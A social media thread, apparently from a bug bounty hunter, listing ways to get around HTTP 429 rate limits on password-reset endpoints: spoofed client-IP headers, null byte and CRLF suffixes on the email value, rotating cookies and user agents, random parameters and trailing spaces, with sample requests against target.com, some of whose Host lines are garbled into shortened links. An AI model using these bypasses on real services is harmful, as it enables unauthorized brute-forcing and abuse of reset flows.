Thread by @Aacle_

Bypass 429 🏹(Too Many Requests)

#bugbounty #infosec
Look🧵(1/n) :👇

➡Try add some custom header #bugbounty #infosec

▪X-Forwarded-For : 127.0.0.1
▪X-Forwarded-Host : 127.0.0.1
▪X-Client-IP : 127.0.0.1
▪X-Remote-IP : 127.0.0.1
▪X-Remote-Addr : 127.0.0.1
▪X-Host : 127.0.0.1

➡Adding Null Byte ( %00 ) or CRLF ( %09, %0d, %0a ) at the end of the Email can bypass rate limit.
. . . #bugbounty #infosec #bypass

POST /ForgotPass.php HTTP/1.1
Host: target.com

email=[e-mail]%00

➡Try changing user-agents, cookies and IP address

POST /ForgotPass.php HTTP/1.1
Host: target.com
Cookie: xxxxxxxxxx

email=[e-mail]

Try this :

POST /ForgotPass.php HTTP/1.1
Host: https://t.co/GdtCkHxOhO
Cookie: aaaaaaaaaaaaa

email=[e-mail]

➡Add a random parameter on the last endpoint #bugbounty #infosec

POST /ForgotPass.php HTTP/1.1
Host: target.com

email=[e-mail]

Try this :

POST /ForgotPass.php?random HTTP/1.1
Host: https://t.co/GdtCkHxOhO

email=[e-mail]

➡Add space after the parameter value #bugbounty #infosec

POST /api/forgotpass HTTP/1.1
Host: target.com

{"email":"[e-mail]"}

Try this :

POST /api/forgotpass HTTP/1.1
Host: https://t.co/GdtCkHxOhO

{"email":"[e-mail] "}

Bypass 429 cheatsheet Below 👇

Thanks you so much for reading this thread
You can follow me if you want 😀

Join my bugbountytips group :
t.me/bugbountyresou…

#infosec #bugbounty